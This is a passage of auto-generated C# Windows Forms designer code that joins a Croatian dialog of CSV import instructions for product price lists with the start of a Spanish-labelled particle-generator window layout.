moraju postojati"; // // pnlPrijenosCjenika // this.pnlPrijenosCjenika.Controls.Add(this.label6); this.pnlPrijenosCjenika.Controls.Add(this.label5); this.pnlPrijenosCjenika.Controls.Add(this.label4); this.pnlPrijenosCjenika.Controls.Add(this.label2); this.pnlPrijenosCjenika.Controls.Add(this.label3); this.pnlPrijenosCjenika.Controls.Add(this.label1); this.pnlPrijenosCjenika.Controls.Add(this.btnOK); this.pnlPrijenosCjenika.Controls.Add(this.pictureBox1); this.pnlPrijenosCjenika.Dock = System.Windows.Forms.DockStyle.Fill; this.pnlPrijenosCjenika.Location = new System.Drawing.Point(0, 0); this.pnlPrijenosCjenika.Name = "pnlPrijenosCjenika"; this.pnlPrijenosCjenika.Size = new System.Drawing.Size(647, 617); this.pnlPrijenosCjenika.TabIndex = 0; this.pnlPrijenosCjenika.Visible = false; // // pictureBox4 // this.pictureBox4.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox4.Image"))); this.pictureBox4.Location = new System.Drawing.Point(12, 12); this.pictureBox4.Name = "pictureBox4"; this.pictureBox4.Size = new System.Drawing.Size(96, 81); this.pictureBox4.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; this.pictureBox4.TabIndex = 16; this.pictureBox4.TabStop = false; // // button2 // this.button2.Location = new System.Drawing.Point(506, 554); this.button2.Name = "button2"; this.button2.Size = new System.Drawing.Size(75, 23); this.button2.TabIndex = 18; this.button2.Text = "OK"; this.button2.UseVisualStyleBackColor = true; this.button2.Click += new System.EventHandler(this.btnOK_Click); // // label24 // this.label24.Font = new System.Drawing.Font("Microsoft Sans Serif", 15.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label24.ForeColor = System.Drawing.Color.Red; this.label24.Location = new System.Drawing.Point(132, 21); this.label24.Name = "label24"; this.label24.Size = new System.Drawing.Size(252, 62); this.label24.TabIndex = 15; this.label24.Text = "Upute za pravljenje CSV datoteke"; // // label23 // this.label23.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label23.ForeColor = System.Drawing.Color.Black; this.label23.Location = new System.Drawing.Point(12, 108); this.label23.Name = "label23"; this.label23.Size = new System.Drawing.Size(585, 49); this.label23.TabIndex = 17; this.label23.Text = "Prilikom izrade CSV dokumenta treba paziti da se uzmu potrebni podaci i sortiraju" + " redom kako je navedeno!"; // // label22 // this.label22.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label22.ForeColor = System.Drawing.Color.Black; this.label22.Location = new System.Drawing.Point(12, 157); this.label22.Name = "label22"; this.label22.Size = new System.Drawing.Size(593, 47); this.label22.TabIndex = 19; this.label22.Text = "Kolone redom: EAN, Šifra artikla, Šifra kod dobavljača, VPC, Rabat, Akc. Rabat, N" + "C, Povećanje"; // // label21 // this.label21.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label21.ForeColor = System.Drawing.Color.Black; this.label21.Location = new System.Drawing.Point(12, 204); this.label21.Name = "label21"; this.label21.Size = new System.Drawing.Size(593, 151); this.label21.TabIndex = 20; this.label21.Text = resources.GetString("label21.Text"); // // label20 // this.label20.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label20.ForeColor = System.Drawing.Color.Black; this.label20.Location = new System.Drawing.Point(12, 363); this.label20.Name = "label20"; this.label20.Size = new System.Drawing.Size(593, 79); this.label20.TabIndex = 21; this.label20.Text = "Primjer retka s podacima:\r\n\r\n3850291028972;084156;245;5,99000;10,00;18,00;4,42062" + ";30,00"; // // label19 // this.label19.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label19.ForeColor = System.Drawing.Color.Red; this.label19.Location = new System.Drawing.Point(12, 443); this.label19.Name = "label19"; this.label19.Size = new System.Drawing.Size(585, 92); this.label19.TabIndex = 22; this.label19.Text = resources.GetString("label19.Text"); // // pnlNabavniAkcijski // this.pnlNabavniAkcijski.Controls.Add(this.label19); this.pnlNabavniAkcijski.Controls.Add(this.label20); this.pnlNabavniAkcijski.Controls.Add(this.label21); this.pnlNabavniAkcijski.Controls.Add(this.label22); this.pnlNabavniAkcijski.Controls.Add(this.label23); this.pnlNabavniAkcijski.Controls.Add(this.label24); this.pnlNabavniAkcijski.Controls.Add(this.button2); this.pnlNabavniAkcijski.Controls.Add(this.pictureBox4); this.pnlNabavniAkcijski.Dock = System.Windows.Forms.DockStyle.Fill; this.pnlNabavniAkcijski.Location = new System.Drawing.Point(0, 0); this.pnlNabavniAkcijski.Name = "pnlNabavniAkcijski"; this.pnlNabavniAkcijski.Size = new System.Drawing.Size(647, 617); this.pnlNabavniAkcijski.TabIndex = 24; this.pnlNabavniAkcijski.Visible = false; // // pictureBox3 // this.pictureBox3.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox3.Image"))); this.pictureBox3.Location = new System.Drawing.Point(12, 12); this.pictureBox3.Name = "pictureBox3"; this.pictureBox3.Size = new System.Drawing.Size(96, 81); this.pictureBox3.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; this.pictureBox3.TabIndex = 16; this.pictureBox3.TabStop = false; // // button1 // this.button1.Location = new System.Drawing.Point(506, 525); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(75, 23); this.button1.TabIndex = 18; this.button1.Text = "OK"; this.button1.UseVisualStyleBackColor = true; // // label18 // this.label18.Font = new System.Drawing.Font("Microsoft Sans Serif", 15.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label18.ForeColor = System.Drawing.Color.Red; this.label18.Location = new System.Drawing.Point(132, 21); this.label18.Name = "label18"; this.label18.Size = new System.Drawing.Size(252, 62); this.label18.TabIndex = 15; this.label18.Text = "Upute za pravljenje CSV datoteke"; // // label17 // this.label17.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label17.ForeColor = System.Drawing.Color.Black; this.label17.Location = new System.Drawing.Point(12, 108); this.label17.Name = "label17"; this.label17.Size = new System.Drawing.Size(585, 49); this.label17.TabIndex = 17; this.label17.Text = "Prilikom izrade CSV dokumenta treba paziti da se uzmu potrebni podaci i sortiraju" + " redom kako je navedeno!"; // // label16 // this.label16.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label16.ForeColor = System.Drawing.Color.Black; this.label16.Location = new System.Drawing.Point(12, 157); this.label16.Name = "label16"; this.label16.Size = new System.Drawing.Size(593, 47); this.label16.TabIndex = 19; this.label16.Text = "Kolone redom: EAN, Šifra artikla, Šifra kod dobavljača, MPC tipa, MPC tipb, MPC t" + "ipc, MPC tipd, MPC tipx, Cijena letka, Napomena\r\n\r\n"; // // label15 // this.label15.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label15.ForeColor = System.Drawing.Color.Black; this.label15.Location = new System.Drawing.Point(12, 204); this.label15.Name = "label15"; this.label15.Size = new System.Drawing.Size(593, 151); this.label15.TabIndex = 20; this.label15.Text = resources.GetString("label15.Text"); // // label14 // this.label14.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label14.ForeColor = System.Drawing.Color.Black; this.label14.Location = new System.Drawing.Point(12, 363); this.label14.Name = "label14"; this.label14.Size = new System.Drawing.Size(593, 79); this.label14.TabIndex = 21; this.label14.Text = "Primjer retka s podacima:\r\n\r\n3858882210140;;;5,99;5,99;7,49;6,49;5,99;;nacionalna" + " akcija"; // // label13 // this.label13.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label13.ForeColor = System.Drawing.Color.Red; this.label13.Location = new System.Drawing.Point(12, 443); this.label13.Name = "label13"; this.label13.Size = new System.Drawing.Size(585, 65); this.label13.TabIndex = 22; this.label13.Text = "Napomena: obavezne kolone koje moraju postojati su EAN ili Šifra artikla ili šifr" + "a kod dobavljača, cijene tipa, tipb,tipc,tipd,tipx, preostale dvije kolone su op" + "cionalne (cijena letka i napomena)."; // // pnlMPCakcija // this.pnlMPCakcija.Controls.Add(this.label13); this.pnlMPCakcija.Controls.Add(this.label14); this.pnlMPCakcija.Controls.Add(this.label15); this.pnlMPCakcija.Controls.Add(this.label16); this.pnlMPCakcija.Controls.Add(this.label17); this.pnlMPCakcija.Controls.Add(this.label18); this.pnlMPCakcija.Controls.Add(this.button1); this.pnlMPCakcija.Controls.Add(this.pictureBox3); this.pnlMPCakcija.Dock = System.Windows.Forms.DockStyle.Fill; this.pnlMPCakcija.Location = new System.Drawing.Point(0, 0); this.pnlMPCakcija.Name = "pnlMPCakcija"; this.pnlMPCakcija.Size = new System.Drawing.Size(647, 617); this.pnlMPCakcija.TabIndex = 26; this.pnlMPCakcija.Visible = false; // // pnlArtiklCSV // this.pnlArtiklCSV.Controls.Add(this.label7); this.pnlArtiklCSV.Controls.Add(this.label8); this.pnlArtiklCSV.Controls.Add(this.label9); this.pnlArtiklCSV.Controls.Add(this.label10); this.pnlArtiklCSV.Controls.Add(this.label11); this.pnlArtiklCSV.Controls.Add(this.label12); this.pnlArtiklCSV.Controls.Add(this.btnOK2); this.pnlArtiklCSV.Controls.Add(this.pictureBox2); this.pnlArtiklCSV.Dock = System.Windows.Forms.DockStyle.Fill; this.pnlArtiklCSV.Location = new System.Drawing.Point(0, 0); this.pnlArtiklCSV.Name = "pnlArtiklCSV"; this.pnlArtiklCSV.Size = new System.Drawing.Size(647, 617); this.pnlArtiklCSV.TabIndex = 28; this.pnlArtiklCSV.Visible = false; // // label7 // this.label7.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label7.ForeColor = System.Drawing.Color.Red; this.label7.Location = new System.Drawing.Point(12, 443); this.label7.Name = "label7"; this.label7.Size = new System.Drawing.Size(585, 52); this.label7.TabIndex = 22; this.label7.Text = "Napomena: obavezne kolone koje moraju postojati su Barkod artikla ili Šifra arti" + "kla te barem jedna od ostalih kolona koja se hoće dodati"; // // label8 // this.label8.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label8.ForeColor = System.Drawing.Color.Black; this.label8.Location = new System.Drawing.Point(12, 363); this.label8.Name = "label8"; this.label8.Size = new System.Drawing.Size(593, 79); this.label8.TabIndex = 21; this.label8.Text = "Primjer retka s podacima:\r\n\r\n;450368;8,15;10; ; ; ; ; ;\r\n3850159110009; ; ; ; ; ;" + " ;705;705"; // // label9 // this.label9.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label9.ForeColor = System.Drawing.Color.Black; this.label9.Location = new System.Drawing.Point(12, 204); this.label9.Name = "label9"; this.label9.Size = new System.Drawing.Size(601, 151); this.label9.TabIndex = 20; this.label9.Text = resources.GetString("label9.Text"); // // label10 // this.label10.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label10.ForeColor = System.Drawing.Color.Black; this.label10.Location = new System.Drawing.Point(12, 157); this.label10.Name = "label10"; this.label10.Size = new System.Drawing.Size(593, 47); this.label10.TabIndex = 19; this.label10.Text = "Kolone redom: Barkod artikla, Šifra artikla, Dubina, Širina, Visina, Težina, Jedi" + "nica mj., Robna marka, Proizvođač, Glavni Dobavljač"; // // label11 // this.label11.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label11.ForeColor = System.Drawing.Color.Black; this.label11.Location = new System.Drawing.Point(12, 108); this.label11.Name = "label11"; this.label11.Size = new System.Drawing.Size(585, 49); this.label11.TabIndex = 17; this.label11.Text = "Prilikom izrade CSV dokumenta treba paziti da se uzmu potrebni podaci i sortiraju" + " redom kako je navedeno!"; // // label12 // this.label12.Font = new System.Drawing.Font("Microsoft Sans Serif", 15.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label12.ForeColor = System.Drawing.Color.Red; this.label12.Location = new System.Drawing.Point(132, 21); this.label12.Name = "label12"; this.label12.Size = new System.Drawing.Size(252, 62); this.label12.TabIndex = 15; this.label12.Text = "Upute za pravljenje CSV datoteke"; // // btnOK2 // this.btnOK2.Location = new System.Drawing.Point(506, 525); this.btnOK2.Name = "btnOK2"; this.btnOK2.Size = new System.Drawing.Size(75, 23); this.btnOK2.TabIndex = 18; this.btnOK2.Text = "OK"; this.btnOK2.UseVisualStyleBackColor = true; // // pictureBox2 // this.pictureBox2.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox2.Image"))); this.pictureBox2.Location = new System.Drawing.Point(12, 12); this.pictureBox2.Name = "pictureBox2"; this.pictureBox2.Size = new System.Drawing.Size(96, 81); this.pictureBox2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; this.pictureBox2.TabIndex = 16; this.pictureBox2.TabStop = false; // // frmPoruka // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.BackColor = System.Drawing.SystemColors.Window; this.ClientSize = new System.Drawing.Size(647, 617); this.Controls.Add(this.pnlArtiklCSV); this.Controls.Add(this.pnlMPCakcija); this.Controls.Add(this.pnlNabavniAkcijski); this.Controls.Add(this.pnlPrijenosCjenika); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow; this.Name = "frmPoruka"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "Poruka"; this.Load += new System.EventHandler(this.frmPoruka_Load); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); this.pnlPrijenosCjenika.ResumeLayout(false); this.pnlPrijenosCjenika.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox4)).EndInit(); this.pnlNabavniAkcijski.ResumeLayout(false); this.pnlNabavniAkcijski.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit(); this.pnlMPCakcija.ResumeLayout(false); this.pnlMPCakcija.PerformLayout(); this.pnlArtiklCSV.ResumeLayout(false); this.pnlArtiklCSV.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit(); this.ResumeLayout(false); }
/// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.components = new System.ComponentModel.Container(); System.Resources.ResourceManager resources = new System.Resources.ResourceManager(typeof(WinForms)); this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.pictureBox2 = new System.Windows.Forms.PictureBox(); this.mainMenu1 = new System.Windows.Forms.MainMenu(); this.menuItem1 = new System.Windows.Forms.MenuItem(); this.menuItem6 = new System.Windows.Forms.MenuItem(); this.menuItem5 = new System.Windows.Forms.MenuItem(); this.menuItem2 = new System.Windows.Forms.MenuItem(); this.menuItem3 = new System.Windows.Forms.MenuItem(); this.menuItem4 = new System.Windows.Forms.MenuItem(); this.menuItem7 = new System.Windows.Forms.MenuItem(); this.menuItem8 = new System.Windows.Forms.MenuItem(); this.menuItem9 = new System.Windows.Forms.MenuItem(); this.imageList1 = new System.Windows.Forms.ImageList(this.components); this.uiTab1 = new System.Windows.Forms.TabControl(); this.tabPage1 = new System.Windows.Forms.TabPage(); this.groupBox2 = new System.Windows.Forms.GroupBox(); this.editBox4 = new System.Windows.Forms.RichTextBox(); this.button2 = new System.Windows.Forms.Button(); this.button1 = new System.Windows.Forms.Button(); this.groupBox1 = new System.Windows.Forms.GroupBox(); this.editBox5 = new System.Windows.Forms.TextBox(); this.editBox3 = new System.Windows.Forms.TextBox(); this.editBox2 = new System.Windows.Forms.TextBox(); this.editBox1 = new System.Windows.Forms.TextBox(); this.label8 = new System.Windows.Forms.Label(); this.label3 = new System.Windows.Forms.Label(); this.label2 = new System.Windows.Forms.Label(); this.label1 = new System.Windows.Forms.Label(); this.progressBar1 = new System.Windows.Forms.ProgressBar(); this.tabPage2 = new System.Windows.Forms.TabPage(); this.numericEditBox2 = new System.Windows.Forms.TextBox(); this.numericEditBox1 = new System.Windows.Forms.TextBox(); this.groupBox8 = new System.Windows.Forms.GroupBox(); this.radioButton6 = new System.Windows.Forms.RadioButton(); this.radioButton5 = new System.Windows.Forms.RadioButton(); this.button5 = new System.Windows.Forms.Button(); this.groupBox7 = new System.Windows.Forms.GroupBox(); this.button6 = new System.Windows.Forms.Button(); this.groupBox6 = new System.Windows.Forms.GroupBox(); this.numericEditBox3 = new System.Windows.Forms.TextBox(); this.label6 = new System.Windows.Forms.Label(); this.groupBox5 = new System.Windows.Forms.GroupBox(); this.radioButton4 = new System.Windows.Forms.RadioButton(); this.radioButton3 = new System.Windows.Forms.RadioButton(); this.label5 = new System.Windows.Forms.Label(); this.label4 = new System.Windows.Forms.Label(); this.tabPage3 = new System.Windows.Forms.TabPage(); this.groupBox4 = new System.Windows.Forms.GroupBox(); this.button4 = new System.Windows.Forms.Button(); this.groupBox3 = new System.Windows.Forms.GroupBox(); this.checkBox2 = new System.Windows.Forms.CheckBox(); this.button3 = new System.Windows.Forms.Button(); this.radioButton2 = new System.Windows.Forms.RadioButton(); this.radioButton1 = new System.Windows.Forms.RadioButton(); this.tabPage4 = new System.Windows.Forms.TabPage(); this.button8 = new System.Windows.Forms.Button(); this.groupBox9 = new System.Windows.Forms.GroupBox(); this.checkBox3 = new System.Windows.Forms.CheckBox(); this.label9 = new System.Windows.Forms.Label(); this.textBox2 = new System.Windows.Forms.TextBox(); this.radioButton8 = new System.Windows.Forms.RadioButton(); this.radioButton7 = new System.Windows.Forms.RadioButton(); this.button7 = new System.Windows.Forms.Button(); this.textBox1 = new System.Windows.Forms.TextBox(); this.label7 = new System.Windows.Forms.Label(); this.simpleOpenGlControl1 = new Tao.Platform.Windows.SimpleOpenGlControl(); this.uiStatusBar1 = new System.Windows.Forms.StatusBar(); this.statusBarPanel1 = new System.Windows.Forms.StatusBarPanel(); this.statusBarPanel2 = new System.Windows.Forms.StatusBarPanel(); this.checkBox1 = new System.Windows.Forms.CheckBox(); this.saveFileDialog1 = new System.Windows.Forms.SaveFileDialog(); this.directorySearcher1 = new System.DirectoryServices.DirectorySearcher(); this.uiTab1.SuspendLayout(); this.tabPage1.SuspendLayout(); this.groupBox2.SuspendLayout(); this.groupBox1.SuspendLayout(); this.tabPage2.SuspendLayout(); this.groupBox8.SuspendLayout(); this.groupBox7.SuspendLayout(); this.groupBox6.SuspendLayout(); this.groupBox5.SuspendLayout(); this.tabPage3.SuspendLayout(); this.groupBox4.SuspendLayout(); this.groupBox3.SuspendLayout(); this.tabPage4.SuspendLayout(); this.groupBox9.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.statusBarPanel1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.statusBarPanel2)).BeginInit(); this.SuspendLayout(); // // pictureBox1 // this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image"))); this.pictureBox1.Location = new System.Drawing.Point(336, 0); this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Size = new System.Drawing.Size(459, 99); this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; this.pictureBox1.TabIndex = 2; this.pictureBox1.TabStop = false; // // pictureBox2 // this.pictureBox2.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(196)), ((System.Byte)(218)), ((System.Byte)(250))); this.pictureBox2.Font = new System.Drawing.Font("Tahoma", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0))); this.pictureBox2.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox2.Image"))); this.pictureBox2.Location = new System.Drawing.Point(-8, 0); this.pictureBox2.Name = "pictureBox2"; this.pictureBox2.Size = new System.Drawing.Size(347, 66); this.pictureBox2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; this.pictureBox2.TabIndex = 3; this.pictureBox2.TabStop = false; // // mainMenu1 // this.mainMenu1.MenuItems.AddRange(new System.Windows.Forms.MenuItem[] { this.menuItem1, this.menuItem2, this.menuItem7}); // // menuItem1 // this.menuItem1.Index = 0; this.menuItem1.MenuItems.AddRange(new System.Windows.Forms.MenuItem[] { this.menuItem6, this.menuItem5}); this.menuItem1.Text = "Archivo"; // // menuItem6 // this.menuItem6.Index = 0; this.menuItem6.Text = "Guardar Coordenadas"; this.menuItem6.Click += new System.EventHandler(this.menuItem6_Click); // // menuItem5 // this.menuItem5.Index = 1; this.menuItem5.Text = "Salir"; this.menuItem5.Click += new System.EventHandler(this.menuItem5_Click); // // menuItem2 // this.menuItem2.Index = 1; this.menuItem2.MenuItems.AddRange(new System.Windows.Forms.MenuItem[] { this.menuItem3, this.menuItem4}); this.menuItem2.Text = "Opciones"; // // menuItem3 // this.menuItem3.Index = 0; this.menuItem3.Text = "Cambiar Particula"; this.menuItem3.Click += new System.EventHandler(this.menuItem3_Click); // // menuItem4 // this.menuItem4.Index = 1; this.menuItem4.Text = "Agregar Definición de Particula"; this.menuItem4.Click += new System.EventHandler(this.menuItem4_Click); // // menuItem7 // this.menuItem7.Index = 2; this.menuItem7.MenuItems.AddRange(new System.Windows.Forms.MenuItem[] { this.menuItem8, this.menuItem9}); this.menuItem7.Text = "Ayuda"; // // menuItem8 // this.menuItem8.Index = 0; this.menuItem8.Text = "Temas de Ayuda"; this.menuItem8.Click += new System.EventHandler(this.menuItem8_Click); // // menuItem9 // this.menuItem9.Index = 1; this.menuItem9.Text = "Acerca de RSA Generator"; this.menuItem9.Click += new System.EventHandler(this.menuItem9_Click); // // imageList1 // this.imageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth24Bit; this.imageList1.ImageSize = new System.Drawing.Size(16, 16); this.imageList1.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageList1.ImageStream"))); this.imageList1.TransparentColor = System.Drawing.Color.Transparent; // // uiTab1 // this.uiTab1.Controls.Add(this.tabPage1); this.uiTab1.Controls.Add(this.tabPage2); this.uiTab1.Controls.Add(this.tabPage3); this.uiTab1.Controls.Add(this.tabPage4); this.uiTab1.ImageList = this.imageList1; this.uiTab1.ImeMode = System.Windows.Forms.ImeMode.NoControl; this.uiTab1.Location = new System.Drawing.Point(8, 112); this.uiTab1.Name = "uiTab1"; this.uiTab1.SelectedIndex = 0; this.uiTab1.Size = new System.Drawing.Size(368, 384); this.uiTab1.TabIndex = 4; // // tabPage1 // this.tabPage1.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(196)), ((System.Byte)(218)), ((System.Byte)(250))); this.tabPage1.Controls.Add(this.groupBox2); this.tabPage1.Controls.Add(this.button2); this.tabPage1.Controls.Add(this.button1); this.tabPage1.Controls.Add(this.groupBox1); this.tabPage1.Controls.Add(this.progressBar1); this.tabPage1.ImageIndex = 2; this.tabPage1.Location = new System.Drawing.Point(4, 25); this.tabPage1.Name = "tabPage1"; this.tabPage1.Size = new System.Drawing.Size(360, 355); this.tabPage1.TabIndex = 0; this.tabPage1.Text = "Generar"; // // groupBox2 // this.groupBox2.Controls.Add(this.editBox4); this.groupBox2.Location = new System.Drawing.Point(8, 152); this.groupBox2.Name = "groupBox2"; this.groupBox2.Size = new System.Drawing.Size(352, 184); this.groupBox2.TabIndex = 11; this.groupBox2.TabStop = false; this.groupBox2.Text = "Descripcion de la Generacion de Particulas"; // // editBox4 // this.editBox4.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(192)), ((System.Byte)(218)), ((System.Byte)(250))); this.editBox4.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.editBox4.Location = new System.Drawing.Point(8, 24); this.editBox4.Name = "editBox4"; this.editBox4.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.ForcedVertical; this.editBox4.Size = new System.Drawing.Size(336, 152); this.editBox4.TabIndex = 0; this.editBox4.Text = ""; // // button2 // this.button2.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(80)), ((System.Byte)(80)), ((System.Byte)(80))); this.button2.Font = new System.Drawing.Font("Trebuchet MS", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0))); this.button2.ForeColor = System.Drawing.Color.White; this.button2.ImageIndex = 4; this.button2.ImageList = this.imageList1; this.button2.Location = new System.Drawing.Point(248, 80); this.button2.Name = "button2"; this.button2.Size = new System.Drawing.Size(112, 56); this.button2.TabIndex = 10; this.button2.Text = "Limpiar"; this.button2.TextAlign = System.Drawing.ContentAlignment.BottomCenter; this.button2.Click += new System.EventHandler(this.button2_Click); // // button1 // this.button1.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(80)), ((System.Byte)(80)), ((System.Byte)(80))); this.button1.Font = new System.Drawing.Font("Trebuchet MS", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0))); this.button1.ForeColor = System.Drawing.Color.White; this.button1.ImageIndex = 3; this.button1.ImageList = this.imageList1; this.button1.Location = new System.Drawing.Point(248, 24); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(112, 56); this.button1.TabIndex = 9; this.button1.Text = "Generar"; this.button1.TextAlign = System.Drawing.ContentAlignment.BottomCenter; this.button1.Click += new System.EventHandler(this.button1_Click); // // groupBox1 // this.groupBox1.Controls.Add(this.editBox5); this.groupBox1.Controls.Add(this.editBox3); this.groupBox1.Controls.Add(this.editBox2); this.groupBox1.Controls.Add(this.editBox1); this.groupBox1.Controls.Add(this.label8); this.groupBox1.Controls.Add(this.label3); this.groupBox1.Controls.Add(this.label2); this.groupBox1.Controls.Add(this.label1); this.groupBox1.Font = new System.Drawing.Font("Trebuchet MS", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0))); this.groupBox1.Location = new System.Drawing.Point(8, 16); this.groupBox1.Name = "groupBox1"; this.groupBox1.Size = new System.Drawing.Size(240, 120); this.groupBox1.TabIndex = 8; this.groupBox1.TabStop = false; this.groupBox1.Text = "Parametros Iniciales"; // // editBox5 // this.editBox5.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(192)), ((System.Byte)(218)), ((System.Byte)(250))); this.editBox5.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.editBox5.Location = new System.Drawing.Point(136, 88); this.editBox5.Name = "editBox5"; this.editBox5.ReadOnly = true; this.editBox5.Size = new System.Drawing.Size(96, 20); this.editBox5.TabIndex = 11; this.editBox5.Text = ""; // // editBox3 // this.editBox3.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(192)), ((System.Byte)(218)), ((System.Byte)(250))); this.editBox3.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.editBox3.Location = new System.Drawing.Point(136, 64); this.editBox3.Name = "editBox3"; this.editBox3.ReadOnly = true; this.editBox3.Size = new System.Drawing.Size(96, 20); this.editBox3.TabIndex = 10; this.editBox3.Text = ""; // // editBox2 // this.editBox2.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(192)), ((System.Byte)(218)), ((System.Byte)(250))); this.editBox2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.editBox2.Location = new System.Drawing.Point(136, 40); this.editBox2.Name = "editBox2"; this.editBox2.ReadOnly = true; this.editBox2.Size = new System.Drawing.Size(96, 20); this.editBox2.TabIndex = 9; this.editBox2.Text = ""; // // editBox1 // this.editBox1.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(192)), ((System.Byte)(218)), ((System.Byte)(250))); this.editBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.editBox1.Location = new System.Drawing.Point(136, 16); this.editBox1.Name = "editBox1"; this.editBox1.ReadOnly = true; this.editBox1.Size = new System.Drawing.Size(96, 20); this.editBox1.TabIndex = 8; this.editBox1.Text = ""; // // label8 // this.label8.Font = new System.Drawing.Font("Trebuchet MS", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0))); this.label8.Location = new System.Drawing.Point(16, 88); this.label8.Name = "label8"; this.label8.Size = new System.Drawing.Size(100, 16); this.label8.TabIndex = 6; this.label8.Text = "Lado del cubo"; // // label3 // this.label3.Font = new System.Drawing.Font("Trebuchet MS", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0))); this.label3.Location = new System.Drawing.Point(16, 64); this.label3.Name = "label3"; this.label3.Size = new System.Drawing.Size(112, 23); this.label3.TabIndex = 4; this.label3.Text = "Tipo de Particula"; // // label2 // this.label2.Font = new System.Drawing.Font("Trebuchet MS", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0))); this.label2.Location = new System.Drawing.Point(16, 40); this.label2.Name = "label2"; 